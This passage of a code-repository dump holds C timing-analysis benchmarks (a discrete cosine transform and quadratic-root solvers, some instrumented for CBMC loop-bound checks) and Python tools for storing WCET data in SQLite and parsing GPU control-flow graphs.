"211f53187fe452ada2412cd28d26342eeb208f52", "content_id": "5f067699294ff73932894935c2dfe79bfb752eeb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8960, "license_type": "no_license", "max_line_length": 112, "num_lines": 262, "path": "/DaikonPathInformation/benchmarks/fastDiscreteCosineTransform.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/* MDH WCET BENCHMARK SUITE. */\n/* 2012/09/28, Jan Gustafsson <[email protected]>\n * Changes:\n * - main() declared as int.\n * - Unused variables removed.\n */\n// *********************************************************************************************************\n// * FDCT.C *\n// * *\n// * Forward Discrete Cosine Transform * \n// * Used on 8x8 image blocks * \n// * to reassemble blocks in order to ease quantization compressing image information on the more *\n// * significant frequency components *\n// * * \n// * Expected Result -> short int block[64]= { 699,164,-51,-16, 31,-15,-19, 8, *\n// * 71, 14,-61, -2,-11,-12, 7, 12, *\n// * -58,-55, 13, 28,-20, -7, 14,-18, *\n// * 29, 22, 3, 3,-11, 7, 11,-22, *\n// * -1,-28,-27, 10, 0, -7, 11, 6, *\n// * 7, 6, 21, 21,-10, -8, 2,-14, *\n// * 1, -7,-15,-15,-10, 15, 16,-10, *\n// * 0, -1, 0, 15, 4,-13, -5, 4 }; *\n// * *\n// * Exadecimal results: Block -> 02bb00a4 ffcdfff0 001ffff1 ffed0008 0047000e ffc3fffe 000bfff4 0007000c *\n// * ffc6ffc9 000d001c ffecfff9 000effee 001d0016 00030003 fff50007 000bffea *\n// * ffffffe4 ffe5000a 0000fff9 000b0006 00070006 00150015 fff6fff8 0002fff2 *\n// * 0001fff9 fff1fff1 fff6000f 0010fff6 0000ffff 0000000f 0004fff3 fffb0004 *\n// * * \n// * Number of clock cycles (with these inputs) -> 2132 * \n// *********************************************************************************************************\n\n// Cosine Transform Coefficients\n#define W1 2841 /* 2048*sqrt(2)*cos(1*pi/16) */\n#define W2 2676 /* 2048*sqrt(2)*cos(2*pi/16) */\n#define W3 2408 /* 2048*sqrt(2)*cos(3*pi/16) */\n#define W5 1609 /* 2048*sqrt(2)*cos(5*pi/16) */\n#define W6 1108 /* 2048*sqrt(2)*cos(6*pi/16) */\n#define W7 565 /* 2048*sqrt(2)*cos(7*pi/16) */\n\n// Other FDCT Parameters\n#define CONST_BITS 13\n#define PASS1_BITS 2\n\n#define TEST_VECTOR_LENGTH 64\n\nint \nfastDiscreteCosineTransform (short int *blk, int lx)\n{\n#ifdef CBMC\n//==========> fastdiscretecosinetransform : header 6\nint __count_6_5 = 0;\nint __count_6_5_L = 0; //Loop counter\n//==========> fastdiscretecosinetransform : header 3\nint __count_3_2 = 0;\nint __count_3_2_L = 0; //Loop counter\n//==========> fastdiscretecosinetransform : header 1\nint __count_7 = 0;\nint __count_3_4 = 0;\n#endif\n\n int tmp0, tmp1, tmp2, tmp3, tmp4, tmp5, tmp6, tmp7;\n int tmp10, tmp11, tmp12, tmp13;\n int z1, z2, z3, z4, z5;\n int i;\n short int *block;\n\n int constant;\n\n /* Pass 1: process rows. */\n /* Note results are scaled up by sqrt(8) compared to a true DCT; */\n /* furthermore, we scale the results by 2**PASS1_BITS. */\n\n block=blk;\n\n #ifdef CBMC\n __count_3_2_L = 0;\n #endif\n for (i=0; i<8; i++) // 3\n {\n #ifdef CBMC\n __count_3_2_L++;\n __count_3_2++;\n #endif\n tmp0 = block[0] + block[7];\n tmp7 = block[0] - block[7];\n tmp1 = block[1] + block[6];\n tmp6 = block[1] - block[6];\n tmp2 = block[2] + block[5];\n tmp5 = block[2] - block[5];\n tmp3 = block[3] + block[4];\n tmp4 = block[3] - block[4];\n\n tmp10 = tmp0 + tmp3;\n tmp13 = tmp0 - tmp3;\n tmp11 = tmp1 + tmp2;\n tmp12 = tmp1 - tmp2;\n\n block[0] = ((tmp10+tmp11) << PASS1_BITS);\n block[4] = ((tmp10-tmp11) << PASS1_BITS);\n\n constant= 4433;\n z1 = (tmp12 + tmp13) * constant;\n constant= 6270;\n block[2] = (z1 + (tmp13 * constant)) >> (CONST_BITS-PASS1_BITS);\n constant= -15137;\n block[6] = (z1 + (tmp12 * constant)) >> (CONST_BITS-PASS1_BITS);\n\n z1 = tmp4 + tmp7;\n z2 = tmp5 + tmp6;\n z3 = tmp4 + tmp6;\n z4 = tmp5 + tmp7;\n constant= 9633;\n z5 = ((z3 + z4) * constant); /* sqrt(2) * c3 */\n\n constant= 2446;\n tmp4 = (tmp4 * constant); /* sqrt(2) * (-c1+c3+c5-c7) */\n constant= 16819;\n tmp5 = (tmp5 * constant); /* sqrt(2) * ( c1+c3-c5+c7) */\n constant= 25172;\n tmp6 = (tmp6 * constant); /* sqrt(2) * ( c1+c3+c5-c7) */\n constant= 12299;\n tmp7 = (tmp7 * constant); /* sqrt(2) * ( c1+c3-c5-c7) */\n constant= -7373;\n z1 = (z1 * constant); /* sqrt(2) * (c7-c3) */\n constant= -20995;\n z2 = (z2 * constant); /* sqrt(2) * (-c1-c3) */\n constant= -16069;\n z3 = (z3 * constant); /* sqrt(2) * (-c3-c5) */\n constant= -3196;\n z4 = (z4 * constant); /* sqrt(2) * (c5-c3) */\n\n z3 += z5;\n z4 += z5;\n\n block[7] = (tmp4 + z1 + z3) >> (CONST_BITS-PASS1_BITS);\n block[5] = (tmp5 + z2 + z4) >> (CONST_BITS-PASS1_BITS);\n block[3] = (tmp6 + z2 + z3) >> (CONST_BITS-PASS1_BITS);\n block[1] = (tmp7 + z1 + z4) >> (CONST_BITS-PASS1_BITS);\n\n /* advance to next row */\n block += lx;\n }\n #ifdef CBMC\n assert(__count_3_2_L <= 9); // Loop counter property\n __count_3_4++;\n #endif\n\n /* Pass 2: process columns. */\n\n block=blk;\n\n #ifdef CBMC\n __count_6_5_L = 0;\n #endif\n for (i = 0; i<8; i++) // 6\n {\n #ifdef CBMC\n __count_6_5_L++;\n __count_6_5++;\n #endif\n tmp0 = block[0] + block[7*lx];\n tmp7 = block[0] - block[7*lx];\n tmp1 = block[lx] + block[6*lx];\n tmp6 = block[lx]- block[6*lx];\n tmp2 = block[2*lx] + block[5*lx];\n tmp5 = block[2*lx] - block[5*lx];\n tmp3 = block[3*lx] + block[4*lx];\n tmp4 = block[3*lx] - block[4*lx];\n \n tmp10 = tmp0 + tmp3;\n tmp13 = tmp0 - tmp3;\n tmp11 = tmp1 + tmp2;\n tmp12 = tmp1 - tmp2;\n\n block[0] = (tmp10 + tmp11) >> (PASS1_BITS+3);\n block[4*lx] = (tmp10 - tmp11) >> (PASS1_BITS+3);\n\n constant = 4433;\n z1 = ((tmp12 + tmp13) * constant);\n constant= 6270;\n block[2*lx] = (z1 + (tmp13 * constant)) >> (CONST_BITS+PASS1_BITS+3);\n constant=-15137;\n block[6*lx] = (z1 + (tmp12 * constant)) >> (CONST_BITS+PASS1_BITS+3);\n\n z1 = tmp4 + tmp7;\n z2 = tmp5 + tmp6;\n z3 = tmp4 + tmp6;\n z4 = tmp5 + tmp7;\n constant=9633;\n z5 = ((z3 + z4) * constant); /* sqrt(2) * c3 */\n\n constant=2446;\n tmp4 = (tmp4 * constant); /* sqrt(2) * (-c1+c3+c5-c7) */\n constant=16819;\n tmp5 = (tmp5 * constant); /* sqrt(2) * ( c1+c3-c5+c7) */\n constant=25172;\n tmp6 = (tmp6 * constant); /* sqrt(2) * ( c1+c3+c5-c7) */\n constant=12299;\n tmp7 = (tmp7 * constant); /* sqrt(2) * ( c1+c3-c5-c7) */\n constant=-7373;\n z1 = (z1 * constant); /* sqrt(2) * (c7-c3) */\n constant= -20995;\n z2 = (z2 * constant); /* sqrt(2) * (-c1-c3) */\n constant=-16069;\n z3 = (z3 * constant); /* sqrt(2) * (-c3-c5) */\n constant=-3196;\n z4 = (z4 * constant); /* sqrt(2) * (c5-c3) */\n\n z3 += z5;\n z4 += z5;\n\n block[7*lx] = (tmp4 + z1 + z3) >> (CONST_BITS+PASS1_BITS+3);\n block[5*lx] = (tmp5 + z2 + z4) >> (CONST_BITS+PASS1_BITS+3);\n block[3*lx] = (tmp6 + z2 + z3) >> (CONST_BITS+PASS1_BITS+3);\n block[lx] = (tmp7 + z1 + z4) >> (CONST_BITS+PASS1_BITS+3);\n\n /* advance to next column */\n block++;\n }\n \n #ifdef CBMC\n assert(__count_6_5_L <= 9); // Loop counter property\n __count_7++;\n #endif\n\n#ifdef CBMC\nassert(__count_3_2 >= 8); // Lower capacity constraint\nassert(__count_3_2 <= 8); // Upper capacity constraint\nassert(__count_3_4 >= 1); // Lower capacity constraint\nassert(__count_3_4 <= 1); // Upper capacity constraint\nassert(__count_6_5 >= 8); // Lower capacity constraint\nassert(__count_6_5 <= 8); // Upper capacity constraint\nassert(__count_7 >= 1); // Lower capacity constraint\nassert(__count_7 <= 1); // Upper capacity constraint\n#endif\n\n return lx + block[0];\n}\n\nint\nmain (int argc, char *argv[])\n{\n /*\n * At least as many integers as the test vector length\n */\n if (argc != TEST_VECTOR_LENGTH + 1)\n {\n return 1;\n }\n \n short int block[64];\n int i;\n for (i = 0; i < argc - 1; ++i)\n {\n block[i] = (short int) atoi (argv[i + 1]);\n }\n\n int val = fastDiscreteCosineTransform (block, 8);\n printf(\"%d\", val);\n \n return 0;\n}\n" }, { "alpha_fraction": 0.4846450686454773, "alphanum_fraction": 0.48884040117263794, "avg_line_length": 47.43902587890625, "blob_id": "e0862be916e67bc6301cc50213ca193c711f1c83", "content_id": "fa12f89547f9432734ffa4bd6485c426fa3eaf43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5959, "license_type": "no_license", "max_line_length": 129, "num_lines": 123, "path": "/tools/system/database.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import sqlite3\nimport collections\n\nfrom graphs import graph\n\n\nclass Table:\n def __init__(self, name, key, *args):\n self._name = name\n self._key = key\n self._columns = collections.OrderedDict()\n for column_name, data_type in args:\n self._columns[column_name] = data_type\n\n @property\n def name(self):\n return self._name\n\n def key(self, index):\n return self._key[index]\n\n def __iter__(self):\n for column_name, data_type in self._columns.items():\n yield column_name, data_type\n\n\nclass Database:\n def __init__(self, filename):\n self.__filename = filename\n self._wcet_table = Table('wcets',\n ['source_id', 'destination_id'],\n ('source_id', 'int'), ('destination_id', 'int'), ('value', 'int'))\n self._wfreq_table = Table('wfreqs',\n ['source_id', 'destination_id'],\n ('source_id', 'int'), ('destination_id', 'int'), ('value', 'int'))\n self._instrumentation_table = Table('instrumentation',\n ['source_id', 'destination_id'],\n ('source_id', 'int'), ('destination_id', 'int'), ('value', 'int'))\n self._tables = [self._wcet_table, self._wfreq_table, self._instrumentation_table]\n\n def __enter__(self):\n self.__connection = sqlite3.connect(self.__filename)\n self.__cursor = self.__connection.cursor()\n return self\n\n def __exit__(self, exception_type, exception_value, traceback):\n self.__connection.commit()\n self.__connection.close()\n\n def reset(self):\n for table in self._tables:\n self.__cursor.execute('DROP TABLE if exists {}'.format(table.name))\n self.__cursor.execute('CREATE TABLE {} ({})'.format(table.name,\n ', '.join(['{} {}'.format(key, value) for key, value in table])))\n\n def add_wcet(self, program_point: graph.Vertex or graph.Edge, wcet: int):\n if isinstance(program_point, graph.Vertex):\n row = [program_point.id_, 0, wcet]\n else:\n assert isinstance(program_point, graph.Edge)\n row = [program_point.predecessor().id_, program_point.successor().id_, wcet]\n self.__cursor.execute('INSERT INTO {} VALUES (?, ?, ?)'.format(self._wcet_table.name), row)\n\n def add_wfreq(self, program_point: graph.Vertex or graph.Edge, wfreq: int):\n if isinstance(program_point, graph.Vertex):\n row = [program_point.id_, 0, wfreq]\n else:\n assert isinstance(program_point, graph.Edge)\n row = [program_point.predecessor().id_, program_point.successor().id_, wfreq]\n self.__cursor.execute('INSERT INTO {} VALUES (?, ?, ?)'.format(self._wfreq_table.name), row)\n\n def set_instrumentation(self, program_point: graph.Vertex or graph.Edge):\n if isinstance(program_point, graph.Vertex):\n row = [program_point.id_, 0, 1]\n else:\n assert isinstance(program_point, graph.Edge)\n row = [program_point.predecessor().id_, program_point.successor().id_, 1]\n self.__cursor.execute('INSERT INTO {} VALUES (?, ?, ?)'.format(self._instrumentation_table.name), row)\n\n def get_wcet(self, program_point: graph.Vertex or graph.Edge):\n if isinstance(program_point, graph.Vertex):\n key = [program_point.id_, 0]\n else:\n assert isinstance(program_point, graph.Edge)\n key = [program_point.predecessor().id_, program_point.successor().id_]\n query = \"SELECT * from {} where {}='{}' and {}='{}'\".format(self._wcet_table.name,\n self._wcet_table.key(0),\n key[0],\n self._wcet_table.key(1),\n key[1])\n self.__cursor.execute(query)\n (row,) = self.__cursor.fetchall()\n return row[2]\n\n def get_wfreq(self, program_point: graph.Vertex or graph.Edge):\n if isinstance(program_point, graph.Vertex):\n key = [program_point.id_, 0]\n else:\n assert isinstance(program_point, graph.Edge)\n key = [program_point.predecessor().id_, program_point.successor().id_]\n query = \"SELECT * from {} where {}='{}' and {}='{}'\".format(self._wfreq_table.name,\n self._wfreq_table.key(0),\n key[0],\n self._wfreq_table.key(1),\n key[1])\n self.__cursor.execute(query)\n (row,) = self.__cursor.fetchall()\n return row[2]\n\n def is_instrumentation(self, program_point: graph.Vertex or graph.Edge):\n if isinstance(program_point, graph.Vertex):\n key = [program_point.id_, 0]\n else:\n assert isinstance(program_point, graph.Edge)\n key = [program_point.predecessor().id_, program_point.successor().id_]\n query = \"SELECT * from {} where {}='{}' and {}='{}'\".format(self._instrumentation_table.name,\n self._instrumentation_table.key(0),\n key[0],\n self._instrumentation_table.key(1),\n key[1])\n self.__cursor.execute(query)\n rows = self.__cursor.fetchall()\n return len(rows) != 0\n\n" }, { "alpha_fraction": 0.5748792290687561, "alphanum_fraction": 0.5789552927017212, "avg_line_length": 34.97282791137695, "blob_id": "90b94138e65067b631928f77dbdbecaf0678100f", "content_id": "10a731eac95d7de8ef25ea8db92a1cad03e13b6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6624, "license_type": "no_license", "max_line_length": 95, "num_lines": 184, "path": "/GPUTimingAnalysis/src/ParseCFGs.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import shlex\nimport CFGs, Debug\n\nvertexID = 0\nPCPrefix = \"PC=0x\"\nbraOP = \"bra\"\ncallOP = \"call\"\ncallpOP = \"callp\"\nretOP = \"ret\"\nretpOP = \"retp\"\nexitOP = \"exit\"\nbreakOP = \"break\"\npredicated = \"@%p\"\n\ndef getAddress (string):\n return int(string[len(\"PC=\"):], 0)\n\ndef getBasicBlockWithLabel (cfg, label):\n for bb in cfg:\n firstAddr, firstInstr = bb.getFirstInstruction()\n if firstInstr.containsLabel(label):\n return bb\n assert False, \"Unable to find basic block with label '%s'\" % label\n \ndef getBasicBlockWithNextAddress (cfg, addr):\n # Prioritise finding the block whose first address is\n # 8 bytes away from the last instruction of the current block\n for bb in cfg:\n firstAddr, firstInstr = bb.getFirstInstruction()\n if firstAddr == addr + 8:\n return bb\n for bb in cfg:\n firstAddr, firstInstr = bb.getFirstInstruction()\n if firstAddr == addr + 4:\n return bb\n assert False, \"Unable to find basic block with next address of %s\" % addr\n \ndef addEdgeToBasicBlockWithNextAddress (cfg, bb, lastAddr):\n succ = getBasicBlockWithNextAddress(cfg, lastAddr)\n bb.addSuccessor(succ.getVertexID())\n succ.addPredecessor(bb.getVertexID())\n \ndef addEdges (cfg):\n import re\n for bb in cfg:\n lastAddr, lastInstr = bb.getLastInstruction()\n lastStr = lastInstr.getString()\n if braOP in lastStr:\n lexemes = shlex.split(lastStr)\n # Add successor with label\n label = lexemes[-1]\n succ = getBasicBlockWithLabel(cfg, label)\n bb.addSuccessor(succ.getVertexID())\n succ.addPredecessor(bb.getVertexID())\n # The regular expression pattern matches predicated instructions\n match = re.search(r'@\\!?%p', lastStr)\n if match:\n # Add successor with next address\n addEdgeToBasicBlockWithNextAddress(cfg, bb, lastAddr)\n elif callOP in lastStr or callpOP in lastStr:\n lexemes = shlex.split(lastStr)\n label = lexemes[-1]\n succ = getBasicBlockWithLabel(cfg, label)\n bb.addSuccessor(succ.getVertexID())\n succ.addPredecessor(bb.getVertexID())\n # Add successor with next address\n addEdgeToBasicBlockWithNextAddress(cfg, bb, lastAddr)\n elif exitOP not in lastStr:\n addEdgeToBasicBlockWithNextAddress(cfg, bb, lastAddr)\n \ndef createBasicBlocks (cfg, instructions):\n global vertexID\n leaders = []\n branch = False\n # First identify the leaders\n for instr in instructions:\n if instr == instructions[0] \\\n or instr.getString().startswith(CFGs.Instruction.labelPrefix) \\\n or branch:\n leaders.append(instr)\n branch = False\n if braOP in instr.getString() \\\n or retOP in instr.getString() \\\n or retpOP in instr.getString() \\\n or callOP in instr.getString() \\\n or callpOP in instr.getString() \\\n or breakOP in instr.getString():\n branch = True\n \n # Now create the basic blocks\n bb = None\n for instr in instructions:\n if instr in leaders:\n bb = CFGs.BasicBlock(vertexID)\n vertexID += 1\n cfg.addVertex(bb)\n bb.addInstruction(instr)\n else:\n assert bb, \"Basic block is currently null\"\n bb.addInstruction(instr)\n \ndef setEntryAndExit (cfg):\n withoutPred = []\n withoutSucc = []\n for bb in cfg:\n if bb.numberOfSuccessors() == 0:\n withoutSucc.append(bb.getVertexID())\n elif bb.numberOfSuccessors() == 1:\n if bb.hasSuccessor(bb.getVertexID()):\n withoutSucc.append(bb.getVertexID())\n if bb.numberOfPredecessors() == 0:\n withoutPred.append(bb.getVertexID())\n elif bb.numberOfPredecessors() == 1:\n if bb.hasPredecessor(bb.getVertexID()):\n withoutPred.append(bb.getVertexID())\n \n if len(withoutPred) == 0:\n Debug.exitMessage(\"CFG '%s' does not an entry point\" % cfg.getName())\n elif len(withoutPred) > 1:\n debugStr = \"\"\n for bbID in withoutPred:\n bb = cfg.getVertex(bbID)\n debugStr += bb.__str__()\n Debug.exitMessage(\"CFG '%s' has too many entry points: %s\" % (cfg.getName(), debugStr))\n else:\n cfg.setEntryID(withoutPred[0])\n \n if len(withoutSucc) == 0:\n Debug.exitMessage(\"CFG '%s' does not an exit point\" % cfg.getName())\n elif len(withoutSucc) > 1:\n debugStr = \"\"\n for bbID in withoutSucc:\n bb = cfg.getVertex(bbID)\n debugStr += bb.__str__()\n Debug.exitMessage(\"CFG '%s' has too many exit points: %s\" % (cfg.getName(), debugStr))\n else:\n cfg.setExitID(withoutSucc[0]) \n \ndef getInstructionString (lexemes):\n return ' '.join(lexemes)\n \ndef analyseLine (line, instructions, labels):\n lexemes = shlex.split(line)\n if len(lexemes) > 0:\n PCIndex = 2\n startInstrIndex = 4\n if lexemes[PCIndex].startswith(PCPrefix):\n address = getAddress(lexemes[PCIndex])\n instrString = getInstructionString(lexemes[startInstrIndex:]) \n if labels:\n labelString = getInstructionString(labels)\n instrString = labelString + \" \" + instrString\n labels[:] = []\n instruction = CFGs.Instruction (address, instrString)\n instructions.append(instruction)\n else:\n labels.append(lexemes[-1])\n \ndef createProgram (cfgLines):\n program = CFGs.Program()\n cfg = None\n analyse = False\n instructions = []\n labels = []\n for line in cfgLines:\n if \"Summary of basic blocks for\" in line:\n analyse = False\n assert cfg \n assert instructions \n createBasicBlocks(cfg, instructions)\n addEdges(cfg)\n setEntryAndExit(cfg)\n instructions = [] \n if analyse:\n analyseLine(line, instructions, labels) \n if \"Printing basic blocks for function\" in line:\n analyse = True\n lexemes = shlex.split(line)\n functionName = lexemes[-1][:-1]\n cfg = CFGs.CFG()\n cfg.setName(functionName)\n program.addCFG(cfg)\n Debug.debugMessage(\"Found new CFG '%s'\" % functionName, 1)\n return program \n" }, { "alpha_fraction": 0.44450289011001587, "alphanum_fraction": 0.5165702104568481, "avg_line_length": 20.541501998901367, "blob_id": "397756f9059a22a5a3669edfc168219f6719b864", "content_id": "47393d29c3ff8ae49759ac63a126b50d5ffaf0bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5703, "license_type": "no_license", "max_line_length": 76, "num_lines": 253, "path": "/DaikonPathInformation/benchmarks/quadraticroots.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Root computation of a quadratic equation (qurt) taken from MDH suite and\r\n * modified by Adam Betts to consume a test vector supplied on the command line.\r\n *\r\n * For this program, the test vector is the 3 integer coefficients of a\r\n * polynomial ax^2 + bx + c where a /= 0\r\n */\r\n\r\ndouble\r\nfabs (double n)\r\n{\r\n if (n >= 0)\r\n {\r\n return n;\r\n }\r\n else\r\n {\r\n return -n;\r\n }\r\n}\r\n\r\ndouble\r\nsqrt (double val)\r\n{\r\n#ifdef CBMC\r\n//==========> sqrt : header 8\r\nint __count_4_7 = 0;\r\nint __count_5_6 = 0;\r\nint __count_5_7 = 0;\r\nint __count_8_4 = 0; //Loop counter\r\n//==========> sqrt : header 1\r\nint __count_9 = 0;\r\nint __count_2_9 = 0;\r\nint __count_8_9 = 0;\r\n#endif\r\n double x = val / 10;\r\n double dx;\r\n double diff;\r\n double min_tol = 0.00001;\r\n int i;\r\n int flag = 0;\r\n\r\n if (val == 0)\r\n {\r\n x = 0;\r\n #ifdef CBMC\r\n __count_2_9++;\r\n #endif\r\n }\r\n else\r\n {\r\n #ifdef CBMC\r\n __count_8_4 = 0;\r\n #endif\r\n for (i = 1; i < 20; i++) // 8\r\n {\r\n #ifdef CBMC\r\n __count_8_4++;\r\n #endif\r\n if (!flag)\r\n {\r\n dx = (val - (x * x)) / (2.0 * x);\r\n x = x + dx;\r\n diff = val - (x * x);\r\n if (fabs (diff) <= min_tol)\r\n {\r\n #ifdef CBMC\r\n __count_5_6++;\r\n #endif\r\n flag = 1;\r\n }\r\n #ifdef CBMC\r\n else __count_5_7++;\r\n #endif\r\n }\r\n else\r\n {\r\n x = x;\r\n #ifdef CBMC\r\n __count_4_7++;\r\n #endif\r\n }\r\n }\r\n #ifdef CBMC\r\n assert(__count_8_4 <= 20); // Loop counter property\r\n __count_8_9++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n __count_9++;\r\n #endif\r\n\r\n#ifdef CBMC\r\n\r\nassert(__count_9 >= 1); // Lower capacity constraint\r\nassert(__count_9 <= 1); // Upper capacity constraint\r\nassert(__count_2_9 == 0); // Dead code\r\n//assert(__count_4_7 >= 11); // Lower capacity constraint\r\nassert(__count_4_7 <= 15); // Upper capacity constraint\r\n//assert(__count_5_6 >= 1); // Lower capacity constraint\r\nassert(__count_5_6 <= 1); // Upper capacity constraint\r\nassert(__count_5_7 >= 3); // Lower capacity constraint\r\n//assert(__count_5_7 <= 7); // Upper capacity constraint\r\nassert(__count_8_9 >= 1); // Lower capacity constraint\r\nassert(__count_8_9 <= 1); // Upper capacity constraint\r\n#endif\r\n return x;\r\n}\r\n\r\nvoid\r\nquadraticroots (double a[])\r\n{\r\n#ifdef CBMC\r\n//==========> quadraticroots : header 10\r\nint __count_18 = 0;\r\nint __count_10_17 = 0;\r\nint __count_12_13 = 0;\r\nint __count_14_15 = 0;\r\nint __count_16_18 = 0;\r\n#endif\r\n double x1[2];\r\n double x2[2];\r\n double d;\r\n double w1;\r\n double w2;\r\n\r\n if (a[0] == 0.0) // 10\r\n {\r\n #ifdef CBMC\r\n __count_10_17++;\r\n __count_18++;\r\n #endif\r\n\r\n#ifdef CBMC\r\nassert(__count_14_15 == 0); // Dead code\r\n//assert(__count_10_17 == 0); // Dead code\r\nassert(__count_18 >= 1); // Lower capacity constraint\r\nassert(__count_18 <= 1); // Upper capacity constraint\r\nassert(__count_16_18 <= 1); // Upper capacity constraint\r\nassert(__count_12_13 <= 1); // Upper capacity constraint\r\nassert(__count_12_13 > 0 ==> __count_18 > 0); // Execution dependence\r\nassert(__count_16_18 > 0 ==> __count_18 > 0); // Execution dependence\r\n#endif\r\n\r\n return 999;\r\n }\r\n\r\n d = a[1] * a[1] - 4 * a[0] * a[2];\r\n w1 = 2.0 * a[0];\r\n w2 = sqrt (fabs (d));\r\n\r\n if (d > 0.0) // 12\r\n {\r\n\r\n x1[0] = (-a[1] + w2) / w1;\r\n x1[1] = 0.0;\r\n x2[0] = (-a[1] - w2) / w1;\r\n x2[1] = 0.0;\r\n #ifdef CBMC\r\n __count_12_13++;\r\n __count_18++;\r\n #endif\r\n\r\n#ifdef CBMC\r\nassert(__count_14_15 == 0); // Dead code\r\n//assert(__count_10_17 == 0); // Dead code\r\nassert(__count_18 >= 1); // Lower capacity constraint\r\nassert(__count_18 <= 1); // Upper capacity constraint\r\nassert(__count_16_18 <= 1); // Upper capacity constraint\r\nassert(__count_12_13 <= 1); // Upper capacity constraint\r\nassert(__count_12_13 > 0 ==> __count_18 > 0); // Execution dependence\r\nassert(__count_16_18 > 0 ==> __count_18 > 0); // Execution dependence\r\n#endif\r\n\r\n return 0;\r\n }\r\n else if (d == 0.0)\r\n {\r\n x1[0] = -a[1] / w1;\r\n x1[1] = 0.0;\r\n x2[0] = x1[0];\r\n x2[1] = 0.0;\r\n #ifdef CBMC\r\n __count_14_15++;\r\n __count_18++;\r\n #endif\r\n\r\n#ifdef CBMC\r\nassert(__count_14_15 == 0); // Dead code\r\n//assert(__count_10_17 == 0); // Dead code\r\nassert(__count_18 >= 1); // Lower capacity constraint\r\nassert(__count_18 <= 1); // Upper capacity constraint\r\nassert(__count_16_18 <= 1); // Upper capacity constraint\r\nassert(__count_12_13 <= 1); // Upper capacity constraint\r\nassert(__count_12_13 > 0 ==> __count_18 > 0); // Execution dependence\r\nassert(__count_16_18 > 0 ==> __count_18 > 0); // Execution dependence\r\n#endif\r\n\r\n return 0;\r\n }\r\n else\r\n {\r\n #ifdef CBMC\r\n __count_16_18++;\r\n #endif\r\n w2 /= w1;\r\n x1[0] = -a[1] / w1;\r\n x1[1] = w2;\r\n x2[0] = x1[0];\r\n x2[1] = -w2;\r\n #ifdef CBMC\r\n __count_18++;\r\n #endif\r\n\r\n#ifdef CBMC\r\nassert(__count_14_15 == 0); // Dead code\r\n//assert(__count_10_17 == 0); // Dead code\r\nassert(__count_18 >= 1); // Lower capacity constraint\r\nassert(__count_18 <= 1); // Upper capacity constraint\r\nassert(__count_16_18 <= 1); // Upper capacity constraint\r\nassert(__count_12_13 <= 1); // Upper capacity constraint\r\nassert(__count_12_13 > 0 ==> __count_18 > 0); // Execution dependence\r\nassert(__count_16_18 > 0 ==> __count_18 > 0); // Execution dependence\r\n#endif\r\n return 0;\r\n }\r\n}\r\n\r\nint\r\nmain (int argc, char *argv[])\r\n{\r\n double a[3];\r\n /*\r\n * Three integers must be supplied\r\n */\r\n if (argc != 4)\r\n {\r\n return 1;\r\n }\r\n if (*argv[1] == '0')\r\n {\r\n return 1;\r\n }\r\n\r\n a[0] = atoi (argv[1]);\r\n a[1] = atoi (argv[2]);\r\n a[2] = atoi (argv[3]);\r\n\r\n quadraticroots(a);\r\n printf(\"%lf\", a[0]);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3378088176250458, "alphanum_fraction": 0.39849624037742615, "avg_line_length": 12.546875, "blob_id": "ff5d9363df469f82cb6e87d36436d1c9a2b04a32", "content_id": "bcc5c99e473c384d471cf8e3275d77025ef23725", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1862, "license_type": "no_license", "max_line_length": 76, "num_lines": 128, "path": "/benchmarks/qurt/qurt.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Root computation of a quadratic equation (qurt) taken from MDH suite and\r\n * modified by Adam Betts to consume a test vector supplied on the command line.\r\n *\r\n * For this program, the test vector is the 3 integer coefficients of a\r\n * polynomial ax^2 + bx + c where a /= 0\r\n */\r\n\r\ndouble\r\nfabs (double n)\r\n{\r\n if (n >= 0)\r\n {\r\n return n;\r\n }\r\n else\r\n {\r\n return -n;\r\n }\r\n}\r\n\r\ndouble\r\nsqrt (double val)\r\n{\r\n double x = val / 10;\r\n double dx;\r\n double diff;\r\n double min_tol = 0.00001;\r\n int i;\r\n int flag = 0;\r\n\r\n if (val == 0)\r\n {\r\n x = 0;\r\n }\r\n else\r\n {\r\n for (i = 1; i < 20; i++)\r\n {\r\n if (!flag)\r\n {\r\n dx = (val - (x * x)) / (2.0 * x);\r\n x = x + dx;\r\n diff = val - (x * x);\r\n if (fabs (diff) <= min_tol)\r\n {\r\n flag = 1;\r\n }\r\n }\r\n else\r\n {\r\n x = x;\r\n }\r\n }\r\n }\r\n return x;\r\n}\r\n\r\nint\r\nqurt (double a[])\r\n{\r\n double x1[2];\r\n double x2[2];\r\n double d;\r\n double w1;\r\n double w2;\r\n\r\n if (a[0] == 0.0)\r\n {\r\n return 999;\r\n }\r\n\r\n d = a[1] * a[1] - 4 * a[0] * a[2];\r\n w1 = 2.0 * a[0];\r\n w2 = sqrt (fabs (d));\r\n\r\n if (d > 0.0)\r\n {\r\n x1[0] = (-a[1] + w2) / w1;\r\n x1[1] = 0.0;\r\n x2[0] = (-a[1] - w2) / w1;\r\n x2[1] = 0.0;\r\n return 0;\r\n }\r\n else if (d == 0.0)\r\n {\r\n x1[0] = -a[1] / w1;\r\n x1[1] = 0.0;\r\n x2[0] = x1[0];\r\n x2[1] = 0.0;\r\n return 0;\r\n }\r\n else\r\n {\r\n w2 /= w1;\r\n x1[0] = -a[1] / w1;\r\n x1[1] = w2;\r\n x2[0] = x1[0];\r\n x2[1] = -w2;\r\n return 0;\r\n }\r\n}\r\n\r\nint\r\nmain (int argc, char *argv[])\r\n{\r\n double a[3];\r\n\r\n /*\r\n * Three integers must be supplied\r\n */\r\n if (argc != 4)\r\n {\r\n return 1;\r\n }\r\n if (*argv[1] == '0')\r\n {\r\n return 1;\r\n }\r\n\r\n a[0] = atoi (argv[1]);\r\n a[1] = atoi (argv[2]);\r\n a[2] = atoi (argv[3]);\r\n\r\n 